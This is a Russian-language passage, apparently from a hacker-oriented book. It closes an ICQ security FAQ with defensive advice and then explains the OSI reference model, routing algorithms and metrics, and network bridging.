начальник некомпетентен в этом вопросе, а вот, например, Петя Иванов гораздо
умнее и так далее, так что давайте Пете Мерседес купим.
Вопрос: а где мне взять ICQhijeck, ICQsniff, keyboard sniffer, трояна и TCP/UDP
sniffer и есть ли что-либо еще такое интересное, где можно нажать кнопочку и
все-все хакнуть?
Ответ: Существует такое понятие как “Private Bug”, нечто обнаруженное лишь вами
и никому еще не известное. Вполне возможно, что люди, посвятившие много время
изучению методам работы ICQ, имеют очень мощные инструменты по работе с ним.
Но достанутся ли эти tools вам? Все зависит от вас, от вашего терпения,
трудолюбия и любознательности. Не забудьте прибавить коммуникабельность и умение
задать интересный вопрос знающему предмет обсуждения человеку. Вполне возможно
вы все узнаете.
Если у вас нет друзей, способных рассказать вам то, что вы хотите знать, советую
использовать большие поисковые системы типа www.yahoo.com. Не забудьте указать
предмет поиска.
Выйду на улицу, гляну на село…
Время рассмотреть методы защиты и что вы должны помнить, если дорожите своим
UINом и информацией, передаваемой при помощи ICQ.
Помните, что существует вероятность, что кто-то может читать ваши сообщения и
то, что ICQ не является стандартом секретных коммуникаций.
Имеются десятки программ, способных вызвать сбой в работе вашего ICQ клиента,
особенно если он работает в среде Windows. Следите за новостями, публикуемыми на
www.icq.com и используйте всегда последнюю версию ICQ, даже если старая имеет
свои достоинства в виде безлимитного размера посылаемого сообщения. Вполне
возможно, что вы заплатите слишком дорогую цену за эту возможность.
Имейте антивирусные программы и используйте их. Так же за ними необходимо
следить — брать новые библиотеки для обнаружения вирусов и троянов с web-сайта
производителя программы.
Не доверяйте безгранично публичным сервисам типа free emeil, free webhosting и
так далее. Ничего удивительного в том, что кто-то уничтожил все ваши файлы на
страничке или прочел ваш e-mail, я не вижу. Вполне житейское дело, и,
пожалуйста, не имейте публичного e-mail адресом для контакта технического
обслуживания ICQ с вами в случае потери пассворда. Будьте готовы к тому, что в
один прекрасный день вы обнаружите, что ваш пассворд изменен и аккаунт вам не
принадлежит. Обратитесь за помощью в технический суппорт.
Ну и конечно следите за своим компьютером при использовании Internet — есть
большой выбор программ, показывающих вам кто, зачем, почему и когда пытался
проникнуть на ваш компьютер.
Иногда я сам лично думаю, что вполне возможно что создатели ICQ в данный момент
насчитывают несколько миллионов компьютеров в своей базе данных, к которым они
имеют полный доступ. Кто знает, может быть ICQ — это хорошо распространенный
троян? Сложное чувство, признаюсь вам…
Глава 4. Теоретические основы
4.1. Эталонная модель OSI
Перемещение информации между компьютерами различных схем является чрезвычайно
сложной задачей. В начале 1980 гг. Международная Организация по Стандартизации (ISO)
признала необходимость в создания модели сети, которая могла бы помочь
поставщикам создавать реализации взаимодействующих сетей. Эту потребность
удовлетворяет эталонная модель “Взаимодействие Открытых Систем” (OSI),
выпущенная в 1984 г.
Эталонная модель OSI быстро стала основной архитектурной моделью для передачи
межкомпьютерных сообщений. Несмотря на то, что были разработаны другие
архитектурные модели (в основном патентованные), большинство поставщиков сетей,
когда им необходимо предоставить обучающую информацию пользователям поставляемых
ими изделий, ссылаются на них как на изделия для сети, соответствующей эталонной
модели OSI. И действительно, эта модель является самым лучшим средством,
имеющемся в распоряжении тех, кто надеется изучить технологию сетей.
Иерархическая связь
Эталонная модель OSI делит проблему перемещения информации между компьютерами
через среду сети на семь менее крупных, и следовательно, более легко разрешимых
проблем. Каждая из этих семи проблем выбрана потому, что она относительно
автономна, и следовательно, ее легче решить без чрезмерной опоры на внешнюю
информацию.
Каждая из семи областей проблемы решалась с помощью одного из уровней модели.
Большинство устройств сети реализует все семь уровней. Однако в режиме потока
информации некоторые реализации сети пропускают один или более уровней. Два
самых низших уровня OSI реализуются аппаратным и программным обеспечением;
остальные пять высших уровней, как правило, реализуются программным
обеспечением.
Справочная модель OSI описывает, каким образом информация проделывает путь через
среду сети (например, провода) от одной прикладной программы (например,
программы обработки крупноформатных таблиц) до другой прикладной программы,
находящейся в другом компьютере. Так как информация, которая должна быть
отослана, проходит вниз через уровни системы, по мере этого продвижения она
становится все меньше похожей на человеческий язык и все больше похожей на ту
информацию, которую понимают компьютеры, а именно “единицы” и “нули”.
Проблемы совместимости
Эталонная модель OSI не является реализацией сети. Она только определяет функции
каждого уровня. В этом отношении она напоминает план для постройки корабля.
Точно также, как для выполнения фактической работы по плану могут быть заключены
контракты с любым количеством кораблестроительных компаний, любое число
поставщиков сети могут построить протокол реализации по спецификации протокола.
И если этот план не будет предельно понятным, корабли, построенные различными
компаниями, пользующимися одним и тем же планом, пусть незначительно, но будут
отличаться друг от друга. Примером самого незначительного отличия могут быть
гвозди, забитые в разных местах.
Чем объясняется разница в реализациях одного и того же плана корабля (или
спецификации протокола)? Частично эта разница вызвана неспособностью любой
спецификации учесть все возможные детали реализации. Кроме того, разные люди,
реализующие один и тот же проект, всегда интерпретируют его немного по-разному.
И наконец, неизбежные ошибки реализации приводят к тому, что изделия разных
реализаций отличаются исполнением. Этим объясняется то, что реализация протокола
Х одной компании не всегда взаимодействует с реализацией этого протокола,
осуществленной другой компанией.
Уровни OSI
Каждый уровень имеет заранее заданный набор функций, которые он должен выполнить
для того, чтобы связь могла состояться.
Прикладной уровень
Прикладной уровень — это самый близкий к пользователю уровень OSI. Он отличается
от других уровней тем, что не обеспечивает услуг ни одному из других уровней OSI;
однако он обеспечивает ими прикладные процессы, лежащие за пределами масштаба
модели OSI. Примерами таких прикладных процессов могут служить программы
обработки крупномасштабных таблиц, программы обработки слов, программы
банковских терминалов и т.д.
Прикладной уровень идентифицирует и устанавливает наличие предполагаемых
партнеров для связи, синхронизирует совместно работающие прикладные программы, а
также устанавливает соглашение по процедурам устранения ошибок и управления
целостностью информации. Прикладной уровень также определяет, имеется ли в
наличии достаточно ресурсов для предполагаемой связи.
Представительный уровень
Представительный уровень отвечает за то, чтобы информация, посылаемая из
прикладного уровня одной системы, была читаемой для прикладного уровня другой
системы. При необходимости представительный уровень осуществляет трансляцию
между множеством форматов представления информации путем использования общего
формата представления информации.
Представительный уровень занят не только форматом и представлением фактических
данных пользователя, но также структурами данных, которые используют программы.
Поэтому кроме трансформации формата фактических данных (если она необходима),
представительный уровень согласует синтаксис передачи данных для прикладного
уровня.
Сеансовый уровень
Как указывает его название, сеансовый уровень устанавливает, управляет и
завершает сеансы взаимодействия между прикладными задачами. Сеансы состоят из
диалога между двумя или более объектами представления (сеансовый уровень
обеспечивает своими услугами представительный уровень). Сеансовый уровень
синхронизирует диалог между объектами представительного уровня и управляет
обменом информации между ними. В дополнение к основной регуляции диалогов
(сеансов) сеансовый уровень предоставляет средства для отправки информации,
класса услуг и уведомления в исключительных ситуациях о проблемах сеансового,
представительного и прикладного уровней.
Транспортный уровень
Граница между сеансовым и транспортным уровнями может быть представлена как
граница между протоколами прикладного уровня и протоколами низших уровней. В то
время как прикладной, представительный и сеансовый уровни заняты прикладными
вопросами, четыре низших уровня решают проблемы транспортировки данных.
Транспортный уровень пытается обеспечить услуги по транспортировке данных,
которые избавляют высшие слои от необходимости вникать в ее детали. В частности,
заботой транспортного уровня является решение таких вопросов, как выполнение
надежной транспортировки данных через объединенную сеть. Предоставляя надежные
услуги, транспортный уровень обеспечивает механизмы для установки, поддержания и
упорядоченного завершения действия виртуальных каналов, систем обнаружения и
устранения неисправностей транспортировки и управления информационным потоком (с
целью предотвращения переполнения системы данными из другой системы).
Сетевой уровень
Сетевой уровень — это комплексный уровень, который обеспечивает возможность
соединения и выбор маршрута между двумя конечными системами, подключенными к
разным “подсетям”, которые могут находиться в разных географических пунктах. В
данном случае “подсеть” — это по сути независимый сетевой кабель (иногда
называемый сегментом).
Так как две конечные системы, желающие организовать связь, может разделять
значительное географическое расстояние и множество подсетей, сетевой уровень
является доменом маршрутизации. Протоколы маршрутизации выбирают оптимальные
маршруты через последовательность соединенных между собой подсетей. Традиционные
протоколы сетевого уровня передают информацию вдоль этих маршрутов.
Канальный уровень
Канальный уровень (формально называемый информационно-канальным уровнем)
обеспечивает надежный транзит данных через физический канал. Выполняя эту
задачу, канальный уровень решает вопросы физической адресации (в
противоположность сетевой или логической адресации), топологии сети, линейной
дисциплины (каким образом конечной системе использовать сетевой канал),
уведомления о неисправностях, упорядоченной доставки блоков данных и управления
потоком информации.
Физический уровень
Физический уровень определяет электротехнические, механические, процедурные и
функциональные характеристики активации, поддержания и дезактивации физического
канала между конечными системами. Спецификации физического уровня определяют
такие характеристики, как уровни напряжений, синхронизацию изменения напряжений,
скорость передачи физической информации, максимальные расстояния передачи
информации, физические соединители и другие аналогичные характеристики.
Адресация
Существенным компонентом любой системы сети является определение местонахождения
компьютерных систем. Существуют различные схемы адресации, используемые для этой
цели, которые зависят от используемого семейства протоколов. Другими словами,
адресация AppleTalk отличается от адресации TCP/IP, которая в свою очередь
отличается от адресации OSI.
Двумя важными типами адресов являются адреса канального уровня и адреса сетевого
уровня. Адреса канального уровня (называемые также физическими или аппаратными
адресами), как правило, уникальны для каждого сетевого соединения. У большинства
локальных сетей (LAN) адреса канального уровня размещены в схеме интерфейса; они
назначаются той организацией, которая определяет стандарт протокола,
представленный этим интерфейсом. Так как большинство компьютерных систем имеют
одно физическое сетевое соединение, они имеют только один адрес канального
уровня. Роутеры и другие системы, соединенные с множеством физических сетей,
могут иметь множество адресов канального уровня.
В отличие от адресов канального уровня, которые обычно существуют в пределах
плоского адресного пространства, адреса сетевого уровня обычно иерархические.
Другими словами, они похожи на почтовые адреса, которые описывают
местонахождение человека, указывая страну, штат, почтовый индекс, город, улицу,
адрес на этой улице и наконец, имя. Хорошим примером одноуровневой адресации
является номерная система социальной безопасности США, в соответствии с которой
каждый человек имеет один уникальный номер, присвоенный ему службой
безопасности.
Иерархические адреса делают сортировку адресов и повторный вызов более легкими
путем исключения крупных блоков логически схожих адресов в процессе
последовательности операций сравнения. Например, можно исключить все другие
страны, если в адресе указана страна “Ирландия”. Легкость сортировки и
повторного вызова являются причиной того, что роутеры используют адреса сетевого
уровня в качестве базиса маршрутизации.
Адреса сетевого уровня различаются в зависимости от используемого семейства
протоколов, однако они, как правило, используют соответствующие логические
разделы для нахождения компьютерных систем в объединенной сети. Некоторые из
этих логических разделов базируются на физических характеристиках сети (таких,
как сегмент сети, в котором находится какая-нибудь система); другие логические
разделы базируются на группировках, не имеющих физического базиса (например,
“зона” AppleTalk).
Блоки данных, пакеты и сообщения
После того, как по адресам установили местоположение компьютерных систем, может
быть произведен обмен информацией между двумя или более системами. В литературе
по объединенным сетям наблюдается непоследовательность в наименовании логически
сгруппированных блоков информации, которая перемещается между компьютерными
системами. “блок данных”, “пакет”, “блок данных протокола”, “PDU”, “сегмент”,
“сообщение” — используются все эти и другие термины, в зависимости от прихоти
тех, кто пишет спецификации протоколов.
Как правило, “блок данных” (frame) обозначает блок информации, источником и
пунктом назначения которого являются объекты канального уровня. Термин “пакет” (packet)
обозначает блок информации, у которого источник и пункт назначения — объекты
сетевого уровня. И наконец, термин “сообщение” (message) обозначает
информационный блок, у которого объекты источника и места назначения находятся
выше сетевого уровня. Термин “сообщение” используется также для обозначения
отдельных информационных блоков низших уровней, которые имеют специальное,
хорошо сформулированное назначение.
4.2. Маршрутизация
В общедоступном значении слова маршрутизация означает передвижение информации от
источника к пункту назначения через объединенную сеть. При этом, как правило, на
пути встречается по крайней мере один узел. Маршрутизация часто
противопоставляется объединению сетей с помощью моста, которое, в популярном
понимании этого способа, выполняет точно такие же функции. Основное различие
между ними заключается в том, что маршрутизация и объединение по мостовой схеме
используют различную информацию в процессе ее перемещения от источника к месту
назначения. Результатом этого является то, что маршрутизация и объединение с
помощью моста выполняют свои задачи разными способами; фактически, имеется
несколько различных видов маршрутизации и объединения с помощью мостов.
Компоненты маршрутизации
Маршрутизация включает в себя два основных компонента: определение оптимальных
трактов маршрутизации и транспортировка информационных групп (обычно называемых
пакетами) через объединенную сеть. Как правило, последний из этих двух
компонентов называется коммутацией. Коммутация относительно проста. С другой
стороны, определение маршрута может быть очень сложным процессом.
Определение маршрута
Определение маршрута может базироваться на различных показателях (величинах,
результирующих из алгоритмических вычислений по отдельной переменной — например,
длина маршрута) или комбинациях показателей. Программные реализации алгоритмов
маршрутизации высчитывают показатели маршрута для определения оптимальных
маршрутов к пункту назначения.
Для облегчения процесса определения маршрута, алгоритмы маршрутизации
инициализируют и поддерживают таблицы маршрутизации, в которых содержится
маршрутная информация. Маршрутная информация изменяется в зависимости от
используемого алгоритма маршрутизации.
Алгоритмы маршрутизации заполняют маршрутные таблицы неким множеством
информации. Ассоциации “Пункт назначения/ следующая пересылка” сообщают роутеру,
что определенный пункт назначения может быть оптимально достигнут путем отправки
пакета в определенный роутер, представляющий “следующую пересылку” на пути к
конечному пункту назначения. При приеме поступающего пакета роутер проверяет
адрес пункта назначения и пытается ассоциировать этот адрес со следующей
пересылкой.
Роутеры сообщаются друг с другом (и поддерживают свои маршрутные таблицы) путем
передачи различных сообщений. Одним из видов таких сообщений является сообщение
об “обновлении маршрутизации”. Обновления маршрутизации обычно включают всю
маршрутную таблицу или ее часть. Анализируя информацию об обновлении
маршрутизации, поступающую ото всех роутеров, любой из них может построить
детальную картину топологии сети. Другим примером сообщений, которыми
обмениваются роутеры, является “объявление о состоянии канала”. Объявление о
состоянии канала информирует другие роутеры о состоянии каналов отправителя.
Канальная информация также может быть использована для построения полной картины
топологии сети. После того, как топология сети становится понятной, роутеры
могут определить оптимальные маршруты к пунктам назначения.
Коммутация
Алгоритмы коммутации сравнительно просты и в основном одинаковы для большинства
протоколов маршрутизации. В большинстве случаев главная вычислительная машина
определяет необходимость отправки пакета в другую главную вычислительную машину.
Получив определенным способом адрес роутера, главная вычислительная
машина-источник отправляет пакет, адресованный специально в физический адрес
роутера (уровень МАС), однако с адресом протокола (сетевой уровень) главной
вычислительной машины пункта назначения.
После проверки адреса протокола пункта назначения пакета роутер определяет,
знает он или нет, как передать этот пакет к следующему роутеру. Во втором случае
(когда роутер не знает, как переслать пакет) пакет, как правило, игнорируется. В
первом случае роутер отсылает пакет к следующей роутеру путем замены физического
адреса пункта назначения на физический адрес следующего роутера и последующей
передачи пакета.
Следующая пересылка может быть или не быть главной вычислительной машиной
окончательного пункта назначения. В случае, если нет, то следующей пересылкой,
как правило, является другой роутер, который выполняет такой же процесс принятия
решения о коммутации. По мере того, как пакет продвигается через объединенную
сеть, его физический адрес меняется, однако адрес протокола остается неизменным.
В изложенном выше описании рассмотрена коммутация между источником и системой
конечного пункта назначения. Международная Организация по Стандартизации (ISO)
разработала иерархическую терминологию, которая может быть полезной при описании
этого процесса. В случае, если пользоваться этой терминологией, то устройства
сети, не обладающие способностью пересылать пакеты между подсетями, называются
конечными системами (ЕS), в то время как устройства сети, имеющие такую
способность, называются промежуточными системами (IS). Промежуточные системы
далее подразделяются на системы, которые могут сообщаться в пределах “доменов
маршрутизации” (“внутридоменные” IS), и системы, которые могут сообщаться как в
пределах домена маршрутизации, так и с другими доменами маршрутизации (“междоменные
IS”). Обычно считается, что “домен маршрутизации” — это часть объединенной сети,
находящейся под общим административным управлением и регулируемой определенным
набором административных руководящих принципов. Домены маршрутизации называются
также “автономными системами” (AS). Для определенных протоколов домены
маршрутизации могут быть дополнительно подразделены на “участки маршрутизации”,
однако для коммутации как внутри участков, так и между ними также используются
внутридоменные протоколы маршрутизации.
Алгоритмы маршрутизации
Алгоритмы маршрутизации можно дифференцировать, основываясь на нескольких
ключевых характеристиках. Во-первых, на работу результирующего протокола
маршрутизации влияют конкретные задачи, которые решает разработчик алгоритма.
Во-вторых, существуют различные типы алгоритмов маршрутизации, и каждый из них
по-разному влияет на сеть и ресурсы маршрутизации. И наконец, алгоритмы
маршрутизации используют разнообразные показатели, которые влияют на расчет
оптимальных маршрутов.
Цели разработки алгоритмов маршрутизации
При разработке алгоритмов маршрутизации часто преследуют одну или несколько из
перечисленных ниже целей:
● Оптимальность
● Простота и низкие непроизводительные затраты
● Живучесть и стабильность
● Быстрая сходимость
● Гибкость
Оптимальность
Оптимальность, вероятно, является самой общей целью разработки. Она
характеризует способность алгоритма маршрутизации выбирать “наилучший” маршрут.
Наилучший маршрут зависит от показателей и от “веса” этих показателей,
используемых при проведении расчета. Например, алгоритм маршрутизации мог бы
использовать несколько пересылок с определенной задержкой, но при расчете “вес”
задержки может быть им оценен как очень значительный. Естественно, что протоколы
маршрутизации должны строго определять свои алгоритмы расчета показателей.
Простота и низкие непроизводительные затраты
Алгоритмы маршрутизации разрабатываются как можно более простыми. Другими
словами, алгоритм маршрутизации должен эффективно обеспечивать свои
функциональные возможности, с минимальными затратами программного обеспечения и
коэффициентом использования. Особенно важна эффективность в том случае, когда
программа, реализующая алгоритм маршрутизации, должна работать в компьютере с
ограниченными физическими ресурсами.
Живучесть и стабильность
Алгоритмы маршрутизации должны обладать живучестью. Другими словами, они должны
четко функционировать в случае неординарных или непредвиденных обстоятельств,
таких как отказы аппаратуры, условия высокой нагрузки и некорректные реализации.
Так как роутеры расположены в узловых точках сети, их отказ может вызвать
значительные проблемы.
Часто наилучшими алгоритмами маршрутизации оказываются те, которые выдержали
испытание временем и доказали свою надежность в различных условиях работы сети.
Быстрая сходимость
Алгоритмы маршрутизации должны быстро сходиться. Сходимость — это процесс
соглашения между всеми роутерами по оптимальным маршрутам. Когда какое-нибудь
событие в сети приводит к тому, что маршруты или отвергаются, или становятся
доступными, роутеры рассылают сообщения об обновлении маршрутизации. Сообщения
об обновлении маршрутизации пронизывают сети, стимулируя пересчет оптимальных
маршрутов и, в конечном итоге, вынуждая все роутеры прийти к соглашению по этим
маршрутам. Алгоритмы маршрутизации, которые сходятся медленно, могут привести к
образованию петель маршрутизации или выходам из строя сети.
Гибкость
Алгоритмы маршрутизации должны быть также гибкими. Другими словами, алгоритмы
маршрутизации должны быстро и точно адаптироваться к разнообразным
обстоятельствам в сети. Например, предположим, что сегмент сети отвергнут.
Многие алгоритмы маршрутизации, после того как они узнают об этой проблеме,
быстро выбирают следующий наилучший путь для всех маршрутов, которые обычно
используют этот сегмент. Алгоритмы маршрутизации могут быть запрограммированы
таким образом, чтобы они могли адаптироваться к изменениям полосы пропускания
сети, размеров очереди к роутеру, величины задержки сети и других переменных.
Типы алгоритмов
Алгоритмы маршрутизации могут быть классифицированы по типам. Например,
алгоритмы могут быть:
● Статическими или динамическими
● Одномаршрутными или многомаршрутными
● Одноуровневыми или иерархическими
● С интеллектом в главной вычислительной машине или в роутере
● Внутридоменными и междоменными
● Алгоритмами состояния канала или вектора расстояний
Статические или динамические алгоритмы
Статические алгоритмы маршрутизации вообще вряд ли являются алгоритмами.
Распределение статических таблиц маршрутизации устанавливается администратором
сети до начала маршрутизации. Оно не меняется, если только администратор сети не
изменит его. Алгоритмы, использующие статические маршруты, просты для разработки
и хорошо работают в окружениях, где трафик сети относительно предсказуем, а
схема сети относительно проста.
Так как статические системы маршрутизации не могут реагировать на изменения в
сети, они, как правило, считаются непригодными для современных крупных,
постоянно изменяющихся сетей. Большинство доминирующих алгоритмов маршрутизации
— динамические.
Динамические алгоритмы маршрутизации подстраиваются к изменяющимся
обстоятельствам сети в масштабе реального времени. Они выполняют это путем
анализа поступающих сообщений об обновлении маршрутизации. В случае, если в
сообщении указывается, что имело место изменение сети, программы маршрутизации
пересчитывают маршруты и рассылают новые сообщения о корректировке
маршрутизации. Такие сообщения пронизывают сеть, стимулируя роутеры заново
прогонять свои алгоритмы и соответствующим образом изменять таблицы
маршрутизации. Динамические алгоритмы маршрутизации могут дополнять статические
маршруты там, где это уместно. Например, можно разработать “роутер последнего
обращения” (то есть роутер, в который отсылаются все неотправленные по
определенному маршруту пакеты). Такой роутер выполняет роль хранилища
неотправленных пакетов, гарантируя, что все сообщения будут хотя бы определенным
образом обработаны.
Одномаршрутные или многомаршрутные алгоритмы
Некоторые сложные протоколы маршрутизации обеспечивают множество маршрутов к
одному и тому же пункту назначения. Такие многомаршрутные алгоритмы делают
возможной мультиплексную передачу трафика по многочисленным линиям;
одномаршрутные алгоритмы не могут делать этого. Преимущества многомаршрутных
алгоритмов очевидны — они могут обеспечить значительно большую пропускную
способность и надежность.
Одноуровневые или иерархические алгоритмы
Некоторые алгоритмы маршрутизации оперируют в плоском пространстве, в то время
как другие используют иерархии маршрутизации. В одноуровневой системе
маршрутизации все роутеры равны по отношению друг к другу. В иерархической
системе маршрутизации некоторые роутеры формируют то, что составляет основу (backbone
— базу) маршрутизации. Пакеты из небазовых роутеров перемещаются к базовым
роутерам и пропускаются через них до тех пор, пока не достигнут общей области
пункта назначения. Начиная с этого момента, они перемещаются от последнего
базового роутера через один или несколько небазовых роутеров до конечного пункта
назначения.
Системы маршрутизации часто устанавливают логические группы узлов, называемых
доменами, или автономными системами (AS), или областями. В иерархических
системах одни роутеры какого-либо домена могут сообщаться с роутерами других
доменов, в то время как другие роутеры этого домена могут поддерживать связь с
роутеры только в пределах своего домена. В очень крупных сетях могут
существовать дополнительные иерархические уровни. Роутеры наивысшего
иерархического уровня образуют базу маршрутизации.
Основным преимуществом иерархической маршрутизации является то, что она
имитирует организацию большинства компаний и следовательно, очень хорошо
поддерживает их схемы трафика. Большая часть сетевой связи имеет место в
пределах групп небольших компаний (доменов). Внутридоменным роутерам необходимо
знать только о других роутерах в пределах своего домена, поэтому их алгоритмы
маршрутизации могут быть упрощенными. Соответственно может быть уменьшен и
трафик обновления маршрутизации, зависящий от используемого алгоритма
маршрутизации.
Алгоритмы с интеллектом в главной вычислительной машине или в роутере
Некоторые алгоритмы маршрутизации предполагают, что конечный узел источника
определяет весь маршрут. Обычно это называют маршрутизацией от источника. В
системах маршрутизации от источника роутеры действуют просто как устройства
хранения и пересылки пакета, без всякий раздумий отсылая его к следующей
остановке.
Другие алгоритмы предполагают, что главные вычислительные машины ничего не знают
о маршрутах. При использовании этих алгоритмов роутеры определяют маршрут через
объединенную сеть, базируясь на своих собственных расчетах. В первой системе,
рассмотренной выше, интеллект маршрутизации находится в главной вычислительной
машине. В системе, рассмотренной во втором случае, интеллектом маршрутизации
наделены роутеры.
Компромисс между маршрутизацией с интеллектом в главной вычислительной машине и
маршрутизацией с интеллектом в роутере достигается путем сопоставления
оптимальности маршрута с непроизводительными затратами трафика. Системы с
интеллектом в главной вычислительной машине чаще выбирают наилучшие маршруты,
так как они, как правило, находят все возможные маршруты к пункту назначения,
прежде чем пакет будет действительно отослан. Затем они выбирают наилучший
маршрут, основываясь на определении оптимальности данной конкретной системы.
Однако акт определения всех маршрутов часто требует значительного трафика поиска
и большого объема времени.
Внутридоменные или междоменные алгоритмы
Некоторые алгоритмы маршрутизации действуют только в пределах доменов; другие —
как в пределах доменов, так и между ними. Природа этих двух типов алгоритмов
различная. Поэтому понятно, что оптимальный алгоритм внутридоменной
маршрутизации не обязательно будет оптимальным алгоритмом междоменной
маршрутизации.
Алгоритмы состояния канала или вектора расстояния
Алгоритмы состояния канала (известные также как алгоритмы “первоочередности
наикратчайшего маршрута”) направляют потоки маршрутной информации во все узлы
объединенной сети. Однако каждый роутер посылает только ту часть маршрутной
таблицы, которая описывает состояние его собственных каналов. Алгоритмы вектора
расстояния (известные также как алгоритмы Бэлмана-Форда) требуют от каждого
роутера посылки всей или части своей маршрутной таблицы, но только своим
соседям. Алгоритмы состояния каналов фактически направляют небольшие
корректировки по всем направлениям, в то время как алгоритмы вектора расстояний
отсылают более крупные корректировки только в соседние роутеры.
Отличаясь более быстрой сходимостью, алгоритмы состояния каналов несколько
меньше склонны к образованию петель маршрутизации, чем алгоритмы вектора
расстояния. С другой стороны, алгоритмы состояния канала характеризуются более
сложными расчетами в сравнении с алгоритмами вектора расстояний, требуя большей
процессорной мощности и памяти, чем алгоритмы вектора расстояний. Вследствие
этого, реализация и поддержка алгоритмов состояния канала может быть более
дорогостоящей. Несмотря на их различия, оба типа алгоритмов хорошо функционируют
при самых различных обстоятельствах.
Показатели алгоритмов (метрики)
Маршрутные таблицы содержат информацию, которую используют программы коммутации
для выбора наилучшего маршрута. В алгоритмах маршрутизации используется много
различных показателей. Сложные алгоритмы маршрутизации при выборе маршрута могут
базироваться на множестве показателей, комбинируя их таким образом, что в
результате получается один отдельный (гибридный) показатель. Ниже перечислены
показатели, которые используются в алгоритмах маршрутизации:
● Длина маршрута
● Надежность
● Задержка
● Ширина полосы пропускания
● Нагрузка
● Стоимость связи
Длина маршрута
Длина маршрута является наиболее общим показателем маршрутизации. Некоторые
протоколы маршрутизации позволяют администраторам сети назначать произвольные
цены на каждый канал сети. В этом случае длиной тракта является сумма расходов,
связанных с каждым каналом, который был траверсирован. Другие протоколы
маршрутизации определяют “количество пересылок”, то есть показатель,
характеризующий число проходов, которые пакет должен совершить на пути от
источника до пункта назначения через изделия объединения сетей (такие как
роутеры).
Надежность
Надежность, в контексте алгоритмов маршрутизации, относится к надежности каждого
канала сети (обычно описываемой в терминах соотношения бит/ошибка). Некоторые
каналы сети могут отказывать чаще, чем другие. Отказы одних каналов сети могут
быть устранены легче или быстрее, чем отказы других каналов. При назначении
оценок надежности могут быть приняты в расчет любые факторы надежности. Оценки
надежности обычно назначаются каналам сети администраторами сети. Как правило,
это произвольные цифровые величины.
Задержка
Под задержкой маршрутизации обычно понимают отрезок времени, необходимый для
передвижения пакета от источника до пункта назначения через объединенную сеть.
Задержка зависит от многих факторов, включая полосу пропускания промежуточных
каналов сети, очереди в порт каждого роутера на пути передвижения пакета,
перегруженность сети на всех промежуточных каналах сети и физическое расстояние,
на которое необходимо переместить пакет. Так как здесь имеет место конгломерация
нескольких важных переменных, задержка является наиболее общим и полезным
показателем.
Полоса пропускания
Полоса пропускания относится к имеющейся мощности трафика какого-либо канала.
При прочих равных показателях, канал Ethernet 10 Mbps предпочтителен любой
арендованной линии с полосой пропускания 64 Кбайт/сек. Хотя полоса пропускания
является оценкой максимально достижимой пропускной способности канала, маршруты,
проходящие через каналы с большей полосой пропускания, не обязательно будут
лучше маршрутов, проходящих через менее быстродействующие каналы.
4.3 .Основы объединения сетей
с помощью мостов
Серийное изготовление мостов началось в начале 1980 гг. В то время, когда они
появились, мосты объединяли гомогенные сети, делая возможным прохождение пакетов
между ними. В последнее время объединение различных сетей с помощью мостов также
было определено и стандартизировано.
На первый план выдвинулись несколько видов объединений с помощью мостов. В
окружениях Ethernet в основном встречается “transparent bridging” (прозрачное
соединение). В окружениях Token Ring в первую очередь используется “Source-route
bridging” (соединение маршрут- источник). “Translational bridging”
(трансляционное соединение) обеспечивает трансляцию между форматами и принципами
передачи различных типов сред (обычно Ethernet и Token Ring). “Source-route
transparent bridging” (прозрачное соединение маршрут-источник) объединяет
алгоритмы прозрачного соединения и соединения маршрут- источник, что позволяет
передавать сообщения в смешанных окружениях Ethernet/Token Ring.
Уменьшающиеся цены на роутеры и введение во многие из них возможности соединять
по мостовой схеме, сделанное в последнее время, значительно сократило долю рынка
чистых мостов. Те мосты, которые уцелели, обладают такими характеристиками, как
сложные схемы фильтрации, псевдоинтеллектуальный выбор маршрута и высокая
производительность. В то время как в конце 1980 гг. шли бурные дебаты о
преимуществах соединения с помощью мостов в сравнении с роутерами, в настоящее
время большинство пришло к выводу, что часто оба устройства необходимы в любой
полной схеме объединения сетей.
Сравнение устройств для объединения сетей
Устройства объединения сетей обеспечивают связь между сегментами локальных сетей
(LAN). Существуют 4 основных типа устройств объединения сетей: повторители,
мосты, роутеры и межсетевые интерфейсы. Эти устройства в самом общем виде могут
быть дифференцированы тем уровнем “Межсоединений Открытых Систем” (OSI), на
котором они устанавливают соединение между LAN. Каждое устройство обеспечивает
функциональные возможности, соответствующие своему уровню, а также использует
функциональные возможности всех более низких уровней.
Основы технологии объединения сетей
Уровень, на котором находит применение объединение с помощью мостов (называемый
канальным уровнем), контролирует поток информации, обрабатывает ошибки передачи,
обеспечивает физическую (в отличие от логической) адресацию и управляет доступом
к физической среде. Мосты обеспечивают выполнение этих функций путем поддержки
различных протоколов канального уровня, которые предписывают определенный поток
информации, обработку ошибок, адресацию и алгоритмы доступа к носителю. В
качестве примеров популярных протоколов канального уровня можно назвать Ethernet,
Token Ring и FDDI.
Мосты — несложные устройства. Они анализируют поступающие фреймы, принимают
решение о их продвижении, базируясь на информации, содержащейся в фрейме, и
пересылает их к месту назначения. В некоторых случаях (например, при объединении
“источник-маршрут”) весь путь к месту назначения содержится в каждом фрейме. В
других случаях (например, прозрачное объединение) фреймы продвигаются к месту
назначения отдельными пересылками, по одной за раз.
Основным преимуществом объединения с помощью мостов является прозрачность
протоколов верхних уровней. Так как мосты оперируют на канальном уровне, от них
не требуется проверки информации высших уровней. Это означает, что они могут
быстро продвигать трафик, представляющий любой протокол сетевого уровня. Обычным
делом для моста является продвижение Apple Talk, DECnet, TCP/IP, XNS и другого
трафика между двумя и более сетями.
Мосты способны фильтровать фреймы, базирующиеся на любых полях. Например, мост
можно запрограммировать так, чтобы он отвергал (то есть не пропускал) все
фреймы, посылаемые из определенной сети. Так как в информацию канального уровня
часто включается ссылка на протокол высшего уровня, мосты обычно фильтруют по
этому параметру. Кроме того, мосты могут быть полезны, когда они имеют дело с
необязательной информацией пакетов широкой рассылки.
Разделяя крупные сети на автономные блоки, мосты обеспечивают ряд преимуществ.
Во-первых, поскольку пересылается лишь некоторый процент трафика, мосты
уменьшают трафик, проходящий через устройства всех соединенных сегментов.
Во-вторых, мосты действуют как непреодолимая преграда для некоторых потенциально
опасных для сети неисправностей. В-третьих, мосты позволяют осуществлять связь
между большим числом устройств, чем ее можно было бы обеспечить на любой LAN,
подсоединенной к мосту, если бы она была независима. В-четвертых, мосты
увеличивают эффективную длину LAN, позволяя подключать еще не подсоединенные
отдаленные станции.
Типы мостов
Мосты можно сгруппировать в категории, базирующиеся на различных характеристиках
изделий. В соответствии с одной из популярных схем классификации мосты бывают
локальные и дистанционные. Локальные мосты обеспечивают прямое соединение
множества сегментов LAN, находящихся на одной территории. Дистанционные мосты
